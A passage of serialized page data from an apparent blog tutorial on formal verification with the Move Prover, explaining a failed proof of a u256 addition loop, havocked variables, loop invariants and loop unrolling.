}\n",{"type":19,"tag":168,"props":8023,"children":8024},{"class":170,"line":707},[8025],{"type":19,"tag":168,"props":8026,"children":8027},{"style":175},[8028],{"type":24,"value":8029},"╰─────^\n",{"type":19,"tag":168,"props":8031,"children":8032},{"class":170,"line":725},[8033],{"type":19,"tag":168,"props":8034,"children":8035},{"emptyLinePlaceholder":14},[8036],{"type":24,"value":1093},{"type":19,"tag":168,"props":8038,"children":8039},{"class":170,"line":746},[8040],{"type":19,"tag":168,"props":8041,"children":8042},{"style":212},[8043],{"type":24,"value":7761},{"type":19,"tag":168,"props":8045,"children":8046},{"class":170,"line":755},[8047],{"type":19,"tag":168,"props":8048,"children":8049},{"emptyLinePlaceholder":14},[8050],{"type":24,"value":1093},{"type":19,"tag":168,"props":8052,"children":8053},{"class":170,"line":1008},[8054,8059,8064],{"type":19,"tag":168,"props":8055,"children":8056},{"style":175},[8057],{"type":24,"value":8058}," at",{"type":19,"tag":168,"props":8060,"children":8061},{"style":181},[8062],{"type":24,"value":8063}," ./sources/u256.move:316:",{"type":19,"tag":168,"props":8065,"children":8066},{"style":181},[8067],{"type":24,"value":8068}," add\n",{"type":19,"tag":168,"props":8070,"children":8071},{"class":170,"line":1025},[8072,8077,8082,8087,8091,8096,8100,8105,8110,8115,8120,8125],{"type":19,"tag":168,"props":8073,"children":8074},{"style":175},[8075],{"type":24,"value":8076}," enter",{"type":19,"tag":168,"props":8078,"children":8079},{"style":181},[8080],{"type":24,"value":8081}," loop,",{"type":19,"tag":168,"props":8083,"children":8084},{"style":181},[8085],{"type":24,"value":8086}," variable",{"type":19,"tag":168,"props":8088,"children":8089},{"style":212},[8090],{"type":24,"value":500},{"type":19,"tag":168,"props":8092,"children":8093},{"style":175},[8094],{"type":24,"value":8095},"s",{"type":19,"tag":168,"props":8097,"children":8098},{"style":212},[8099],{"type":24,"value":481},{"type":19,"tag":168,"props":8101,"children":8102},{"style":181},[8103],{"type":24,"value":8104},"carry,",{"type":19,"tag":168,"props":8106,"children":8107},{"style":181},[8108],{"type":24,"value":8109}," i,",{"type":19,"tag":168,"props":8111,"children":8112},{"style":181},[8113],{"type":24,"value":8114}," ret",{"type":19,"tag":168,"props":8116,"children":8117},{"style":181},[8118],{"type":24,"value":8119}," havocked",{"type":19,"tag":168,"props":8121,"children":8122},{"style":181},[8123],{"type":24,"value":8124}," and",{"type":19,"tag":168,"props":8126,"children":8127},{"style":181},[8128],{"type":24,"value":8129}," reassigned\n",{"type":19,"tag":168,"props":8131,"children":8132},{"class":170,"line":1042},[8133,8138,8142],{"type":19,"tag":168,"props":8134,"children":8135},{"style":175},[8136],{"type":24,"value":8137}," carry",{"type":19,"tag":168,"props":8139,"children":8140},{"style":181},[8141],{"type":24,"value":402},{"type":19,"tag":168,"props":8143,"children":8144},{"style":192},[8145],{"type":24,"value":8146}," 54\n",{"type":19,"tag":168,"props":8148,"children":8149},{"class":170,"line":1055},[8150,8155,8159],{"type":19,"tag":168,"props":8151,"children":8152},{"style":175},[8153],{"type":24,"value":8154}," i",{"type":19,"tag":168,"props":8156,"children":8157},{"style":181},[8158],{"type":24,"value":402},{"type":19,"tag":168,"props":8160,"children":8161},{"style":192},[8162],{"type":24,"value":8163}," 3792\n",{"type":19,"tag":168,"props":8165,"children":8166},{"class":170,"line":1064},[8167,8172,8176,8181,8185,8190,8195,8199,8204,8209,8213,8218,8223,8227,8232],{"type":19,"tag":168,"props":8168,"children":8169},{"style":175},[8170],{"type":24,"value":8171}," ret",{"type":19,"tag":168,"props":8173,"children":8174},{"style":181},[8175],{"type":24,"value":402},{"type":19,"tag":168,"props":8177,"children":8178},{"style":181},[8179],{"type":24,"value":8180}," u256.U256{v0",{"type":19,"tag":168,"props":8182,"children":8183},{"style":181},[8184],{"type":24,"value":402},{"type":19,"tag":168,"props":8186,"children":8187},{"style":181},[8188],{"type":24,"value":8189}," 26418,",{"type":19,"tag":168,"props":8191,"children":8192},{"style":181},[8193],{"type":24,"value":8194}," v1",{"type":19,"tag":168,"props":8196,"children":8197},{"style":181},[8198],{"type":24,"value":402},{"type":19,"tag":168,"props":8200,"children":8201},{"style":181},[8202],{"type":24,"value":8203}," 27938,",{"type":19,"tag":168,"props":8205,"children":8206},{"style":181},[8207],{"type":24,"value":8208}," v2",{"type":19,"tag":168,"props":8210,"children":8211},{"style":181},[8212],{"type":24,"value":402},{"type":19,"tag":168,"props":8214,"children":8215},{"style":181},[8216],{"type":24,"value":8217}," 6900,",{"type":19,"tag":168,"props":8219,"children":8220},{"style":181},[8221],{"type":24,"value":8222}," v3",{"type":19,"tag":168,"props":8224,"children":8225},{"style":181},[8226],{"type":24,"value":402},{"type":19,"tag":168,"props":8228,"children":8229},{"style":192},[8230],{"type":24,"value":8231}," 1999",{"type":19,"tag":168,"props":8233,"children":8234},{"style":181},[8235],{"type":24,"value":1326},{"type":19,"tag":168,"props":8237,"children":8238},{"class":170,"line":1087},[8239,8243,8248],{"type":19,"tag":168,"props":8240,"children":8241},{"style":175},[8242],{"type":24,"value":8058},{"type":19,"tag":168,"props":8244,"children":8245},{"style":181},[8246],{"type":24,"value":8247}," ./sources/u256.move:346:",{"type":19,"tag":168,"props":8249,"children":8250},{"style":181},[8251],{"type":24,"value":8068},{"type":19,"tag":168,"props":8253,"children":8254},{"class":170,"line":1096},[8255],{"type":19,"tag":168,"props":8256,"children":8257},{"style":175},[8258],{"type":24,"value":8259}," ABORTED\n",{"type":19,"tag":168,"props":8261,"children":8262},{"class":170,"line":1105},[8263],{"type":19,"tag":168,"props":8264,"children":8265},{"emptyLinePlaceholder":14},[8266],{"type":24,"value":1093},{"type":19,"tag":168,"props":8268,"children":8269},{"class":170,"line":1174},[8270,8275,8280,8284,8289,8294,8299,8303,8308,8312],{"type":19,"tag":168,"props":8271,"children":8272},{"style":175},[8273],{"type":24,"value":8274},"FAILURE",{"type":19,"tag":168,"props":8276,"children":8277},{"style":181},[8278],{"type":24,"value":8279}," proving",{"type":19,"tag":168,"props":8281,"children":8282},{"style":192},[8283],{"type":24,"value":1954},{"type":19,"tag":168,"props":8285,"children":8286},{"style":181},[8287],{"type":24,"value":8288}," modules",{"type":19,"tag":168,"props":8290,"children":8291},{"style":181},[8292],{"type":24,"value":8293}," from",{"type":19,"tag":168,"props":8295,"children":8296},{"style":181},[8297],{"type":24,"value":8298}," package",{"type":19,"tag":168,"props":8300,"children":8301},{"style":181},[8302],{"type":24,"value":7816},{"type":19,"tag":168,"props":8304,"children":8305},{"style":175},[8306],{"type":24,"value":8307},"u256",{"type":19,"tag":168,"props":8309,"children":8310},{"style":181},[8311],{"type":24,"value":7825},{"type":19,"tag":168,"props":8313,"children":8314},{"style":212},[8315],{"type":24,"value":8316}," in 9.143s\n",{"type":19,"tag":168,"props":8318,"children":8319},{"class":170,"line":1182},[8320],{"type":19,"tag":168,"props":8321,"children":8322},{"style":212},[8323],{"type":24,"value":8324},"{\n",{"type":19,"tag":168,"props":8326,"children":8327},{"class":170,"line":1212},[8328,8333,8337],{"type":19,"tag":168,"props":8329,"children":8330},{"style":175},[8331],{"type":24,"value":8332}," \"Error\"",{"type":19,"tag":168,"props":8334,"children":8335},{"style":175},[8336],{"type":24,"value":1922},{"type":19,"tag":168,"props":8338,"children":8339},{"style":181},[8340],{"type":24,"value":8341}," \"Move Prover failed: exiting with verification errors\"\n",{"type":19,"tag":168,"props":8343,"children":8344},{"class":170,"line":1220},[8345],{"type":19,"tag":168,"props":8346,"children":8347},{"style":212},[8348],{"type":24,"value":1326},{"type":19,"tag":20,"props":8350,"children":8351},{},[8352,8354,8359],{"type":24,"value":8353},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":19,"tag":27,"props":8355,"children":8357},{"className":8356},[],[8358],{"type":24,"value":5762},{"type":24,"value":8360}," clauses. But there is no other abort situation that we have to cover, right?",{"type":19,"tag":20,"props":8362,"children":8363},{},[8364,8366,8372],{"type":24,"value":8365},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":19,"tag":27,"props":8367,"children":8369},{"className":8368},[],[8370],{"type":24,"value":8371},"ret havocked and reassigned",{"type":24,"value":948},{"type":19,"tag":20,"props":8374,"children":8375},{},[8376],{"type":24,"value":8377},"What does this mean?",{"type":19,"tag":20,"props":8379,"children":8380},{},[8381,8383,8390],{"type":24,"value":8382},"By diving into the Move Prover source, we find a ",{"type":19,"tag":269,"props":8384,"children":8387},{"href":8385,"rel":8386},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[273],[8388],{"type":24,"value":8389},"likely suspect",{"type":24,"value":8391},". The prover attempts to prove all loops with induction!",{"type":19,"tag":20,"props":8393,"children":8394},{},[8395],{"type":24,"value":8396},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":19,"tag":2869,"props":8398,"children":8399},{},[8400,8405],{"type":19,"tag":47,"props":8401,"children":8402},{},[8403],{"type":24,"value":8404},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":19,"tag":47,"props":8406,"children":8407},{},[8408],{"type":24,"value":8409},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":19,"tag":20,"props":8411,"children":8412},{},[8413,8415,8420,8422,8428,8429,8435,8437,8442,8444,8449],{"type":24,"value":8414},"The loop prover will also ",{"type":19,"tag":51,"props":8416,"children":8417},{},[8418],{"type":24,"value":8419},"havoc, or assign random values to, all variables written to inside the loop",{"type":24,"value":8421},". Going back to the log message, this implies that the variables ",{"type":19,"tag":27,"props":8423,"children":8425},{"className":8424},[],[8426],{"type":24,"value":8427},"carry",{"type":24,"value":471},{"type":19,"tag":27,"props":8430,"children":8432},{"className":8431},[],[8433],{"type":24,"value":8434},"ret",{"type":24,"value":8436}," and ",{"type":19,"tag":27,"props":8438,"children":8440},{"className":8439},[],[8441],{"type":24,"value":1157},{"type":24,"value":8443}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":19,"tag":27,"props":8445,"children":8447},{"className":8446},[],[8448],{"type":24,"value":7080},{"type":24,"value":8450}," makes no sense.",{"type":19,"tag":20,"props":8452,"children":8453},{},[8454],{"type":24,"value":8455},"More concretely, the loop analysis translates into the following steps.",{"type":19,"tag":2869,"props":8457,"children":8458},{},[8459,8464,8469,8474,8479,8484],{"type":19,"tag":47,"props":8460,"children":8461},{},[8462],{"type":24,"value":8463},"Assert the loop invariant",{"type":19,"tag":47,"props":8465,"children":8466},{},[8467],{"type":24,"value":8468},"Havoc all modified variables",{"type":19,"tag":47,"props":8470,"children":8471},{},[8472],{"type":24,"value":8473},"Assume the loop invariant",{"type":19,"tag":47,"props":8475,"children":8476},{},[8477],{"type":24,"value":8478},"Assume the loop guard (the code inside the while condition)",{"type":19,"tag":47,"props":8480,"children":8481},{},[8482],{"type":24,"value":8483},"Run the loop body",{"type":19,"tag":47,"props":8485,"children":8486},{},[8487],{"type":24,"value":8463},{"type":19,"tag":20,"props":8489,"children":8490},{},[8491],{"type":24,"value":8492},"There are two approaches to dealing with loops.",{"type":19,"tag":20,"props":8494,"children":8495},{},[8496],{"type":24,"value":8497},"The first would be to specify a loop invariant.",{"type":19,"tag":20,"props":8499,"children":8500},{},[8501,8503,8510],{"type":24,"value":8502},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":19,"tag":269,"props":8504,"children":8507},{"href":8505,"rel":8506},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[273],[8508],{"type":24,"value":8509},"previous post",{"type":24,"value":948},{"type":19,"tag":158,"props":8512,"children":8514},{"code":8513,"language":362,"meta":7,"className":363,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[8515],{"type":19,"tag":27,"props":8516,"children":8517},{"__ignoreMap":7},[8518,8530,8541,8577,8600,8683,8690,8714,8722,8742,8762,8853,8860,8888],{"type":19,"tag":168,"props":8519,"children":8520},{"class":170,"line":171},[8521,8526],{"type":19,"tag":168,"props":8522,"children":8523},{"style":419},[8524],{"type":24,"value":8525}," while",{"type":19,"tag":168,"props":8527,"children":8528},{"style":212},[8529],{"type":24,"value":5970},{"type":19,"tag":168,"props":8531,"children":8532},{"class":170,"line":198},[8533,8537],{"type":19,"tag":168,"props":8534,"children":8535},{"style":393},[8536],{"type":24,"value":6367},{"type":19,"tag":168,"props":8538,"children":8539},{"style":212},[8540],{"type":24,"value":691},{"type":19,"tag":168,"props":8542,"children":8543},{"class":170,"line":415},[8544,8549,8553,8557,8561,8565,8569,8573],{"type":19,"tag":168,"props":8545,"children":8546},{"style":393},[8547],{"type":24,"value":8548}," invariant",{"type":19,"tag":168,"props":8550,"children":8551},{"style":175},[8552],{"type":24,"value":5995},{"type":19,"tag":168,"props":8554,"children":8555},{"style":212},[8556],{"type":24,"value":500},{"type":19,"tag":168,"props":8558,"children":8559},{"style":393},[8560],{"type":24,"value":6004},{"type":19,"tag":168,"props":8562,"children":8563},{"style":212},[8564],{"type":24,"value":481},{"type":19,"tag":168,"props":8566,"children":8567},{"style":399},[8568],{"type":24,"value":6013},{"type":19,"tag":168,"props":8570,"children":8571},{"style":393},[8572],{"type":24,"value":804},{"type":19,"tag":168,"props":8574,"children":8575},{"style":212},[8576],{"type":24,"value":412},{"type":19,"tag":168,"props":8578,"children":8579},{"class":170,"line":450},[8580,8584,8588,8592,8596],{"type":19,"tag":168,"props":8581,"children":8582},{"style":393},[8583],{"type":24,"value":8548},{"type":19,"tag":168,"props":8585,"children":8586},{"style":393},[8587],{"type":24,"value":804},{"type":19,"tag":168,"props":8589,"children":8590},{"style":399},[8591],{"type":24,"value":5634},{"type":19,"tag":168,"props":8593,"children":8594},{"style":393},[8595],{"type":24,"value":5924},{"type":19,"tag":168,"props":8597,"children":8598},{"style":212},[8599],{"type":24,"value":412},{"type":19,"tag":168,"props":8601,"children":8602},{"class":170,"line":560},[8603,8607,8611,8615,8619,8623,8627,8631,8635,8639,8643,8647,8651,8655,8659,8663,8667,8671,8675,8679],{"type":19,"tag":168,"props":8604,"children":8605},{"style":393},[8606],{"type":24,"value":8548},{"type":19,"tag":168,"props":8608,"children":8609},{"style":393},[8610],{"type":24,"value":6056},{"type":19,"tag":168,"props":8612,"children":8613},{"style":393},[8614],{"type":24,"value":6061},{"type":19,"tag":168,"props":8616,"children":8617},{"style":382},[8618],{"type":24,"value":432},{"type":19,"tag":168,"props":8620,"children":8621},{"style":192},[8622],{"type":24,"value":437},{"type":19,"tag":168,"props":8624,"children":8625},{"style":399},[8626],{"type":24,"value":442},{"type":19,"tag":168,"props":8628,"children":8629},{"style":393},[8630],{"type":24,"value":1157},{"type":19,"tag":168,"props":8632,"children":8633},{"style":399},[8634],{"type":24,"value":1922},{"type":19,"tag":168,"props":8636,"children":8637},{"style":393},[8638],{"type":24,"value":5859},{"type":19,"tag":168,"props":8640,"children":8641},{"style":212},[8642],{"type":24,"value":1152},{"type":19,"tag":168,"props":8644,"children":8645},{"style":393},[8646],{"type":24,"value":6094},{"type":19,"tag":168,"props":8648,"children":8649},{"style":212},[8650],{"type":24,"value":6099},{"type":19,"tag":168,"props":8652,"children":8653},{"style":399},[8654],{"type":24,"value":6013},{"type":19,"tag":168,"props":8656,"children":8657},{"style":393},[8658],{"type":24,"value":6108},{"type":19,"tag":168,"props":8660,"children":8661},{"style":212},[8662],{"type":24,"value":1152},{"type":19,"tag":168,"props":8664,"children":8665},{"style":393},[8666],{"type":24,"value":6094},{"type":19,"tag":168,"props":8668,"children":8669},{"style":212},[8670],{"type":24,"value":6099},{"type":19,"tag":168,"props":8672,"children":8673},{"style":399},[8674],{"type":24,"value":2002},{"type":19,"tag":168,"props":8676,"children":8677},{"style":393},[8678],{"type":24,"value":5924},{"type":19,"tag":168,"props":8680,"children":8681},{"style":212},[8682],{"type":24,"value":412},{"type":19,"tag":168,"props":8684,"children":8685},{"class":170,"line":666},[8686],{"type":19,"tag":168,"props":8687,"children":8688},{"style":212},[8689],{"type":24,"value":6359},{"type":19,"tag":168,"props":8691,"children":8692},{"class":170,"line":694},[8693,8698,8702,8706,8710],{"type":19,"tag":168,"props":8694,"children":8695},{"style":212},[8696],{"type":24,"value":8697}," (",{"type":19,"tag":168,"props":8699,"children":8700},{"style":393},[8701],{"type":24,"value":1157},{"type":19,"tag":168,"props":8703,"children":8704},{"style":399},[8705],{"type":24,"value":6157},{"type":19,"tag":168,"props":8707,"children":8708},{"style":393},[8709],{"type":24,"value":5924},{"type":19,"tag":168,"props":8711,"children":8712},{"style":212},[8713],{"type":24,"value":557},{"type":19,"tag":168,"props":8715,"children":8716},{"class":170,"line":707},[8717],{"type":19,"tag":168,"props":8718,"children":8719},{"style":212},[8720],{"type":24,"value":8721}," }) {\n",{"type":19,"tag":168,"props":8723,"children":8724},{"class":170,"line":725},[8725,8730,8734,8738],{"type":19,"tag":168,"props":8726,"children":8727},{"style":212},[8728],{"type":24,"value":8729}," vector",{"type":19,"tag":168,"props":8731,"children":8732},{"style":399},[8733],{"type":24,"value":888},{"type":19,"tag":168,"props":8735,"children":8736},{"style":175},[8737],{"type":24,"value":6190},{"type":19,"tag":168,"props":8739,"children":8740},{"style":212},[8741],{"type":24,"value":870},{"type":19,"tag":168,"props":8743,"children":8744},{"class":170,"line":746},[8745,8750,8754,8758],{"type":19,"tag":168,"props":8746,"children":8747},{"style":399},[8748],{"type":24,"value":8749}," &",{"type":19,"tag":168,"props":8751,"children":8752},{"style":382},[8753],{"type":24,"value":1142},{"type":19,"tag":168,"props":8755,"children":8756},{"style":393},[8757],{"type":24,"value":5859},{"type":19,"tag":168,"props":8759,"children":8760},{"style":212},[8761],{"type":24,"value":915},{"type":19,"tag":168,"props":8763,"children":8764},{"class":170,"line":755},[8765,8769,8773,8777,8781,8785,8789,8793,8797,8801,8805,8809,8813,8817,8821,8825,8829,8833,8837,8841,8845,8849],{"type":19,"tag":168,"props":8766,"children":8767},{"style":212},[8768],{"type":24,"value":6148},{"type":19,"tag":168,"props":8770,"children":8771},{"style":399},[8772],{"type":24,"value":2002},{"type":19,"tag":168,"props":8774,"children":8775},{"style":212},[8776],{"type":24,"value":6231},{"type":19,"tag":168,"props":8778,"children":8779},{"style":399},[8780],{"type":24,"value":888},{"type":19,"tag":168,"props":8782,"children":8783},{"style":175},[8784],{"type":24,"value":6240},{"type":19,"tag":168,"props":8786,"children":8787},{"style":212},[8788],{"type":24,"value":500},{"type":19,"tag":168,"props":8790,"children":8791},{"style":399},[8792],{"type":24,"value":505},{"type":19,"tag":168,"props":8794,"children":8795},{"style":393},[8796],{"type":24,"value":5804},{"type":19,"tag":168,"props":8798,"children":8799},{"style":212},[8800],{"type":24,"value":6257},{"type":19,"tag":168,"props":8802,"children":8803},{"style":393},[8804],{"type":24,"value":1157},{"type":19,"tag":168,"props":8806,"children":8807},{"style":382},[8808],{"type":24,"value":6266},{"type":19,"tag":168,"props":8810,"children":8811},{"style":825},[8812],{"type":24,"value":3294},{"type":19,"tag":168,"props":8814,"children":8815},{"style":212},[8816],{"type":24,"value":6275},{"type":19,"tag":168,"props":8818,"children":8819},{"style":382},[8820],{"type":24,"value":6280},{"type":19,"tag":168,"props":8822,"children":8823},{"style":825},[8824],{"type":24,"value":6285},{"type":19,"tag":168,"props":8826,"children":8827},{"style":212},[8828],{"type":24,"value":481},{"type":19,"tag":168,"props":8830,"children":8831},{"style":399},[8832],{"type":24,"value":2002},{"type":19,"tag":168,"props":8834,"children":8835},{"style":212},[8836],{"type":24,"value":461},{"type":19,"tag":168,"props":8838,"children":8839},{"style":393},[8840],{"type":24,"value":6302},{"type":19,"tag":168,"props":8842,"children":8843},{"style":382},[8844],{"type":24,"value":6266},{"type":19,"tag":168,"props":8846,"children":8847},{"style":825},[8848],{"type":24,"value":6285},{"type":19,"tag":168,"props":8850,"children":8851},{"style":212},[8852],{"type":24,"value":557},{"type":19,"tag":168,"props":8854,"children":8855},{"class":170,"line":1008},[8856],{"type":19,"tag":168,"props":8857,"children":8858},{"style":212},[8859],{"type":24,"value":4202},{"type":19,"tag":168,"props":8861,"children":8862},{"class":170,"line":1025},[8863,8868,8872,8876,8880,8884],{"type":19,"tag":168,"props":8864,"children":8865},{"style":393},[8866],{"type":24,"value":8867}," i",{"type":19,"tag":168,"props":8869,"children":8870},{"style":399},[8871],{"type":24,"value":402},{"type":19,"tag":168,"props":8873,"children":8874},{"style":393},[8875],{"type":24,"value":804},{"type":19,"tag":168,"props":8877,"children":8878},{"style":399},[8879],{"type":24,"value":6343},{"type":19,"tag":168,"props":8881,"children":8882},{"style":192},[8883],{"type":24,"value":1954},{"type":19,"tag":168,"props":8885,"children":8886},{"style":212},[8887],{"type":24,"value":412},{"type":19,"tag":168,"props":8889,"children":8890},{"class":170,"line":1042},[8891],{"type":19,"tag":168,"props":8892,"children":8893},{"style":212},[8894],{"type":24,"value":8895}," };\n",{"type":19,"tag":20,"props":8897,"children":8898},{},[8899,8901,8907,8909,8914,8916,8922],{"type":24,"value":8900},"In this case, the brackets specify the loop invariant for the ",{"type":19,"tag":27,"props":8902,"children":8904},{"className":8903},[],[8905],{"type":24,"value":8906},"while",{"type":24,"value":8908}," loop. Note that because the loop invariant executes ",{"type":19,"tag":293,"props":8910,"children":8911},{},[8912],{"type":24,"value":8913},"after",{"type":24,"value":8915}," the loop guard, so we need to account for an extra step with ",{"type":19,"tag":27,"props":8917,"children":8919},{"className":8918},[],[8920],{"type":24,"value":8921},"i \u003C= n_coins",{"type":24,"value":948},{"type":19,"tag":158,"props":8924,"children":8926},{"code":8925,"language":362,"meta":7,"className":363,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[8927],{"type":19,"tag":27,"props":8928,"children":8929},{"__ignoreMap":7},[8930,8941,8952,8987,9010,9093,9100,9123],{"type":19,"tag":168,"props":8931,"children":8932},{"class":170,"line":171},[8933,8937],{"type":19,"tag":168,"props":8934,"children":8935},{"style":419},[8936],{"type":24,"value":8525},{"type":19,"tag":168,"props":8938,"children":8939},{"style":212},[8940],{"type":24,"value":5970},{"type":19,"tag":168,"props":8942,"children":8943},{"class":170,"line":198},[8944,8948],{"type":19,"tag":168,"props":8945,"children":8946},{"style":393},[8947],{"type":24,"value":6367},{"type":19,"tag":168,"props":8949,"children":8950},{"style":212},[8951],{"type":24,"value":691},{"type":19,"tag":168,"props":8953,"children":8954},{"class":170,"line":415},[8955,8959,8963,8967,8971,8975,8979,8983],{"type":19,"tag":168,"props":8956,"children":8957},{"style":393},[8958],{"type":24,"value":8548},{"type":19,"tag":168,"props":8960,"children":8961},{"style":175},[8962],{"type":24,"value":5995},{"type":19,"tag":168,"props":8964,"children":8965},{"style":212},[8966],{"type":24,"value":500},{"type":19,"tag":168,"props":8968,"children":8969},{"style":393},[8970],{"type":24,"value":6004},{"type":19,"tag":168,"props":8972,"children":8973},{"style":212},[8974],{"type":24,"value":481},{"type":19,"tag":168,"props":8976,"children":8977},{"style":399},[8978],{"type":24,"value":6013},{"type":19,"tag":168,"props":8980,"children":8981},{"style":393},[8982],{"type":24,"value":804},{"type":19,"tag":168,"props":8984,"children":8985},{"style":212},[8986],{"type":24,"value":412},{"type":19,"tag":168,"props":8988,"children":8989},{"class":170,"line":450},[8990,8994,8998,9002,9006],{"type":19,"tag":168,"props":8991,"children":8992},{"style":393},[8993],{"type":24,"value":8548},{"type":19,"tag":168,"props":8995,"children":8996},{"style":393},[8997],{"type":24,"value":804},{"type":19,"tag":168,"props":8999,"children":9000},{"style":399},[9001],{"type":24,"value":5634},{"type":19,"tag":168,"props":9003,"children":9004},{"style":393},[9005],{"type":24,"value":5924},{"type":19,"tag":168,"props":9007,"children":9008},{"style":212},[9009],{"type":24,"value":412},{"type":19,"tag":168,"props":9011,"children":9012},{"class":170,"line":560},[9013,9017,9021,9025,9029,9033,9037,9041,9045,9049,9053,9057,9061,9065,9069,9073,9077,9081,9085,9089],{"type":19,"tag":168,"props":9014,"children":9015},{"style":393},[9016],{"type":24,"value":8548},{"type":19,"tag":168,"props":9018,"children":9019},{"style":393},[9020],{"type":24,"value":6056},{"type":19,"tag":168,"props":9022,"children":9023},{"style":393},[9024],{"type":24,"value":6061},{"type":19,"tag":168,"props":9026,"children":9027},{"style":382},[9028],{"type":24,"value":432},{"type":19,"tag":168,"props":9030,"children":9031},{"style":192},[9032],{"type":24,"value":437},{"type":19,"tag":168,"props":9034,"children":9035},{"style":399},[9036],{"type":24,"value":442},{"type":19,"tag":168,"props":9038,"children":9039},{"style":393},[9040],{"type":24,"value":1157},{"type":19,"tag":168,"props":9042,"children":9043},{"style":399},[9044],{"type":24,"value":1922},{"type":19,"tag":168,"props":9046,"children":9047},{"style":393},[9048],{"type":24,"value":5859},{"type":19,"tag":168,"props":9050,"children":9051},{"style":212},[9052],{"type":24,"value":1152},{"type":19,"tag":168,"props":9054,"children":9055},{"style":393},[9056],{"type":24,"value":6094},{"type":19,"tag":168,"props":9058,"children":9059},{"style":212},[9060],{"type":24,"value":6099},{"type":19,"tag":168,"props":9062,"children":9063},{"style":399},[9064],{"type":24,"value":6013},{"type":19,"tag":168,"props":9066,"children":9067},{"style":393},[9068],{"type":24,"value":6108},{"type":19,"tag":168,"props":9070,"children":9071},{"style":212},[9072],{"type":24,"value":1152},{"type":19,"tag":168,"props":9074,"children":9075},{"style":393},[9076],{"type":24,"value":6094},{"type":19,"tag":168,"props":9078,"children":9079},{"style":212},[9080],{"type":24,"value":6099},{"type":19,"tag":168,"props":9082,"children":9083},{"style":399},[9084],{"type":24,"value":2002},{"type":19,"tag":168,"props":9086,"children":9087},{"style":393},[9088],{"type":24,"value":5924},{"type":19,"tag":168,"props":9090,"children":9091},{"style":212},[9092],{"type":24,"value":412},{"type":19,"tag":168,"props":9094,"children":9095},{"class":170,"line":666},[9096],{"type":19,"tag":168,"props":9097,"children":9098},{"style":212},[9099],{"type":24,"value":6359},{"type":19,"tag":168,"props":9101,"children":9102},{"class":170,"line":694},[9103,9107,9111,9115,9119],{"type":19,"tag":168,"props":9104,"children":9105},{"style":212},[9106],{"type":24,"value":8697},{"type":19,"tag":168,"props":9108,"children":9109},{"style":393},[9110],{"type":24,"value":1157},{"type":19,"tag":168,"props":9112,"children":9113},{"style":399},[9114],{"type":24,"value":6157},{"type":19,"tag":168,"props":9116,"children":9117},{"style":393},[9118],{"type":24,"value":5924},{"type":19,"tag":168,"props":9120,"children":9121},{"style":212},[9122],{"type":24,"value":557},{"type":19,"tag":168,"props":9124,"children":9125},{"class":170,"line":707},[9126],{"type":19,"tag":168,"props":9127,"children":9128},{"style":212},[9129],{"type":24,"value":8721},{"type":19,"tag":20,"props":9131,"children":9132},{},[9133],{"type":24,"value":9134},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":19,"tag":20,"props":9136,"children":9137},{},[9138,9140,9145],{"type":24,"value":9139},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":19,"tag":27,"props":9141,"children":9143},{"className":9142},[],[9144],{"type":24,"value":7080},{"type":24,"value":9146}," function will always iterate exactly 4 times:",{"type":19,"tag":158,"props":9148,"children":9150},{"code":9149,"language":362,"meta":7,"className":363,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[9151],{"type":19,"tag":27,"props":9152,"children":9153},{"__ignoreMap":7},[9154,9162,9195,9202,9218,9225,9249,9273,9318,9362,9369],{"type":19,"tag":168,"props":9155,"children":9156},{"class":170,"line":171},[9157],{"type":19,"tag":168,"props":9158,"children":9159},{"style":373},[9160],{"type":24,"value":9161},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":19,"tag":168,"props":9163,"children":9164},{"class":170,"line":198},[9165,9169,9174,9178,9182,9186,9191],{"type":19,"tag":168,"props":9166,"children":9167},{"style":382},[9168],{"type":24,"value":7097},{"type":19,"tag":168,"props":9170,"children":9171},{"style":212},[9172],{"type":24,"value":9173}," WORDS",{"type":19,"tag":168,"props":9175,"children":9176},{"style":399},[9177],{"type":24,"value":1922},{"type":19,"tag":168,"props":9179,"children":9180},{"style":825},[9181],{"type":24,"value":3294},{"type":19,"tag":168,"props":9183,"children":9184},{"style":399},[9185],{"type":24,"value":402},{"type":19,"tag":168,"props":9187,"children":9188},{"style":192},[9189],{"type":24,"value":9190}," 